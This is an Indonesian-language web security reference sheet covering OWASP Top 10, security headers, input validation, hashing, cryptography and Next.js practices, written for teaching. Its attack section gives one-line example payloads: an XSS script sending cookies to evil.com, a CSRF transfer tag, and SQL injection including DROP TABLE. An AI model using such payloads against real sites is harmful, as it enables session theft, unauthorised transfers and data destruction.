SECURITY DOCS

SECURITY-FUNDAMENTALS

CIA Triad
Description: Confidentiality (kerahasiaan), Integrity (integritas), Availability (ketersediaan). Tiga pilar utama keamanan informasi.
Example:
Confidentiality: enkripsi data, Integrity: hash checksums, Availability: DDoS protection.
Output: Prinsip dasar keamanan
Least Privilege
Description: Setiap pengguna atau proses hanya memiliki hak akses minimum yang diperlukan untuk menjalankan tugasnya.
Example:
Service database hanya bisa SELECT pada tabel tertentu, bukan DELETE.
Output: Hak akses minimal
Defense in Depth
Description: Menerapkan beberapa lapisan pertahanan sehingga jika satu lapisan gagal, lapisan lain masih melindungi.
Example:
Firewall + WAF + secure coding + CSP header + input validation.
Output: Pertahanan berlapis
Secure by Design
Description: Keamanan diintegrasikan sejak awal pengembangan, bukan sebagai tambahan.
Example:
Threat modeling, secure coding guidelines, code review.
Output: Keamanan bawaan

OWASP-TOP10

A01: Broken Access Control
Description: Pengguna dapat mengakses data atau fungsi di luar izinnya.
Example:
Mengubah ID di URL untuk melihat data orang lain: /user/123/profile
Output: Akses tidak sah
A02: Cryptographic Failures
Description: Kegagalan dalam melindungi data sensitif (password disimpan plaintext, transmisi data tanpa enkripsi).
Example:
Menggunakan MD5 untuk password, bukan bcrypt/argon2.
Output: Data bocor
A03: Injection
Description: Penyerang mengirimkan input jahat yang dieksekusi oleh interpreter (SQL, NoSQL, OS command, LDAP, dll).
Example:
SELECT * FROM users WHERE email = '' OR '1'='1'
Output: SQL Injection
A04: Insecure Design
Description: Kelemahan pada desain aplikasi yang tidak memperhitungkan ancaman.
Example:
Rate limiting tidak ada, sehingga brute force attack mungkin dilakukan.
Output: Desain tidak aman
A05: Security Misconfiguration
Description: Konfigurasi keamanan yang tidak benar (debug mode aktif, direktori listing terbuka, default password).
Example:
X-Powered-By: Express (menampilkan teknologi)
Output: Informasi berlebih
A06: Vulnerable and Outdated Components
Description: Menggunakan library/package dengan kerentanan yang sudah diketahui.
Example:
package-lock.json berisi dependensi dengan CVE tinggi.
Output: Risiko eksploitasi
A07: Identification and Authentication Failures
Description: Kelemahan pada sistem login (session fixation, credential stuffing, weak password).
Example:
Tidak ada rate limit pada login, password minimal 4 karakter.
Output: Akun diambil alih
A08: Software and Data Integrity Failures
Description: Mengizinkan pembaruan atau data yang tidak diverifikasi integritasnya (supply chain attack).
Example:
CI/CD pipeline yang menjalankan script dari branch tanpa review.
Output: Malware masuk
A09: Security Logging and Monitoring Failures
Description: Tidak adanya pencatatan dan pemantauan aktivitas mencurigakan.
Example:
Login gagal 1000 kali tidak tercatat, tidak ada alert.
Output: Serangan tidak terdeteksi
A10: Server-Side Request Forgery (SSRF)
Description: Penyerang memaksa server mengirim request ke lokasi yang tidak diinginkan.
Example:
Menyisipkan URL internal di parameter yang melakukan fetch: http://localhost/admin
Output: Akses ke jaringan internal

COMMON-ATTACKS

Cross-Site Scripting (XSS)
Description: Menyuntikkan skrip jahat ke halaman web yang dilihat pengguna lain.
Example:
<script>fetch('https://evil.com?cookie=' + document.cookie)</script>
Output: Cookie pengguna dicuri
Cross-Site Request Forgery (CSRF)
Description: Memaksa pengguna yang sudah login untuk melakukan aksi yang tidak diinginkan.
Example:
<img src="https://bank.com/transfer?to=hacker&amount=1000">
Output: Transfer tanpa sepengetahuan
SQL Injection
Description: Menyisipkan pernyataan SQL berbahaya melalui input aplikasi.
Example:
' OR 1=1; DROP TABLE users; --
Output: Database dihancurkan
Clickjacking
Description: Menipu pengguna agar mengklik elemen yang tidak terlihat di atas halaman yang sah.
Example:
iframe transparan yang menutupi tombol 'Like' di Facebook.
Output: Klik tersembunyi
Man-in-the-Middle (MITM)
Description: Penyerang mencegat komunikasi antara dua pihak.
Example:
Menggunakan Wi-Fi publik tanpa enkripsi.
Output: Data disadap
Denial of Service (DoS/DDoS)
Description: Membanjiri server dengan lalu lintas sehingga tidak bisa melayani pengguna sah.
Example:
HTTP flood, SYN flood, amplification attacks.
Output: Server down
Brute Force Attack
Description: Mencoba banyak kombinasi password hingga berhasil.
Example:
Menggunakan alat seperti Hydra untuk mencoba 10.000 password.
Output: Password lemah terbobol

SECURITY-HEADERS

Content-Security-Policy (CSP)
Description: Mengontrol sumber daya yang diizinkan dimuat oleh browser (script, style, img, dll.). Mitigasi utama XSS.
Example:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'
Output: Script hanya dari domain sendiri atau dengan nonce
Strict-Transport-Security (HSTS)
Description: Memaksa browser menggunakan HTTPS, mencegah downgrade attack.
Example:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Output: HTTPS wajib 1 tahun
X-Frame-Options
Description: Mencegah clickjacking dengan mengontrol apakah halaman bisa ditampilkan di dalam iframe.
Example:
X-Frame-Options: DENY
Output: Tidak dapat di-iframe
X-Content-Type-Options
Description: Mencegah browser menebak (sniff) MIME type yang berbeda dari yang dideklarasikan.
Example:
X-Content-Type-Options: nosniff
Output: MIME type harus sesuai
Referrer-Policy
Description: Mengontrol informasi referrer yang dikirim saat navigasi.
Example:
Referrer-Policy: strict-origin-when-cross-origin
Output: Hanya origin saat cross-origin
Permissions-Policy
Description: Membatasi fitur browser (kamera, mikrofon, geolokasi) untuk halaman dan iframe.
Example:
Permissions-Policy: camera=(), microphone=(), geolocation=(self)
Output: Fitur dibatasi
Cross-Origin-Opener-Policy (COOP)
Description: Mengisolasi halaman dari cross-origin window.open untuk mencegah serangan side-channel.
Example:
Cross-Origin-Opener-Policy: same-origin
Output: Isolasi konteks browsing
Cross-Origin-Embedder-Policy (COEP)
Description: Mewajibkan semua resource cross-origin untuk menyertakan CORS header atau CORP.
Example:
Cross-Origin-Embedder-Policy: require-corp
Output: Hanya resource yang diizinkan
Cross-Origin-Resource-Policy (CORP)
Description: Mengontrol siapa yang dapat memuat resource ini.
Example:
Cross-Origin-Resource-Policy: same-origin
Output: Hanya same-origin

INPUT-VALIDATION

Never Trust User Input
Description: Semua input dari pengguna harus divalidasi, difilter, dan disanitasi di sisi server.
Example:
Validasi tipe data, panjang, format, karakter spesial.
Output: Input aman
Allowlisting vs Blocklisting
Description: Lebih aman menggunakan allowlist (hanya izinkan karakter tertentu) daripada blocklist (blokir karakter tertentu).
Example:
Allowlist: hanya [a-zA-Z0-9 ]
Blocklist: tolak <, >, ", ' — bisa diakali
Output: Validasi kuat
Parameterized Queries / Prepared Statements
Description: Gunakan parameter binding untuk menghindari SQL injection.
Example:
const query = 'SELECT * FROM users WHERE email = ?'
db.query(query, [email])
Output: Input sebagai data, bukan kode
Output Encoding
Description: Encode output sebelum ditampilkan di HTML untuk mencegah XSS.
Example:
Gunakan fungsi escape HTML: &lt; untuk <, &gt; untuk >, &amp; untuk &.
Output: Tag tidak dieksekusi

AUTHENTICATION-SECURITY

Password Hashing
Description: Gunakan algoritma hash yang kuat dan lambat: bcrypt, argon2id, scrypt.
Example:
const hashed = await bcrypt.hash(password, 12)
Output: Password tidak disimpan plaintext
Multi-Factor Authentication (MFA)
Description: Mewajibkan faktor kedua selain password (TOTP, SMS, hardware key).
Example:
Gunakan aplikasi seperti Google Authenticator atau WebAuthn.
Output: Lapisan keamanan ekstra
Rate Limiting Login
Description: Batasi jumlah percobaan login untuk mencegah brute force.
Example:
Max 5 percobaan per akun per 15 menit.
Output: Brute force dicegah
Secure Cookies
Description: Atur cookie session dengan flag Secure, HttpOnly, SameSite.
Example:
Set-Cookie: session=abc; Secure; HttpOnly; SameSite=Lax
Output: Cookie terlindungi
Session Timeout
Description: Batasi durasi sesi dan lakukan rotasi session ID setelah login.
Example:
Session kedaluwarsa setelah 30 menit idle.
Output: Sesi aman

CRYPTOGRAPHY

TLS 1.3
Description: Versi terbaru Transport Layer Security, lebih cepat dan aman.
Example:
Server mendukung TLS 1.3, menonaktifkan TLS 1.0/1.1.
Output: Koneksi aman
AES-256-GCM
Description: Enkripsi simetris modern dengan autentikasi (AEAD).
Example:
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv)
const encrypted = Buffer.concat([cipher.update(data), cipher.final()])
const tag = cipher.getAuthTag()
Output: Data terenkripsi + tag
HMAC
Description: Hash-based Message Authentication Code untuk memverifikasi integritas dan autentisitas pesan.
Example:
const hmac = crypto.createHmac('sha256', secret).update(data).digest('hex')
Output: Kode otentikasi
Digital Signatures
Description: Menggunakan kunci asimetris untuk menandatangani data (RSA, ECDSA).
Example:
const sign = crypto.createSign('SHA256').update(data).sign(privateKey, 'hex')
Output: Tanda tangan digital
Random Values
Description: Gunakan cryptographic random generator, bukan Math.random().
Example:
const token = crypto.randomBytes(32).toString('hex')
Output: Token aman

APP-SECURITY-NEXTJS

Server Components by Default
Description: Next.js App Router menggunakan Server Components secara default, membatasi data sensitif di server.
Example:
Data fetching dan logic di server component, tidak dikirim ke klien.
Output: Data aman di server
Server Actions
Description: Mutasi data di server tanpa perlu API routes tambahan, bisa divalidasi dengan Zod.
Example:
const schema = z.object({ email: z.string().email() })
async function action(formData) { 'use server'; schema.parse({ email: formData.get('email') }) }
Output: Validasi di server
Middleware Authentication
Description: Proteksi rute dengan middleware tanpa memaparkan logika otentikasi di klien.
Example:
import { auth } from '@/auth'
export default auth((req) => { if (!req.auth) return Response.redirect(...) })
Output: Rute terproteksi
Environment Variables
Description: Simpan rahasia di .env.local, akses hanya di server (tidak dengan NEXT_PUBLIC_ prefix).
Example:
DATABASE_URL=postgres://...
# tidak NEXT_PUBLIC_DATABASE_URL
Output: Rahasia tidak terekspos

BEST-PRACTICES

Regular Dependency Updates
Description: Perbarui package secara berkala, jalankan audit keamanan (npm audit).
Example:
pnpm audit --fix
Output: Kerentanan diperbaiki
Security Headers Checkup
Description: Gunakan alat seperti securityheaders.com atau Mozilla Observatory untuk memeriksa header keamanan.
Example:
Jalankan audit, pastikan skor A+.
Output: Konfigurasi optimal
Penetration Testing
Description: Lakukan uji penetrasi secara berkala untuk menemukan celah keamanan.
Example:
OWASP ZAP, Burp Suite, atau jasa profesional.
Output: Laporan kerentanan
Incident Response Plan
Description: Siapkan rencana penanganan insiden keamanan (data breach, serangan).
Example:
Tim, langkah mitigasi, komunikasi ke pengguna, pemulihan.
Output: Respons cepat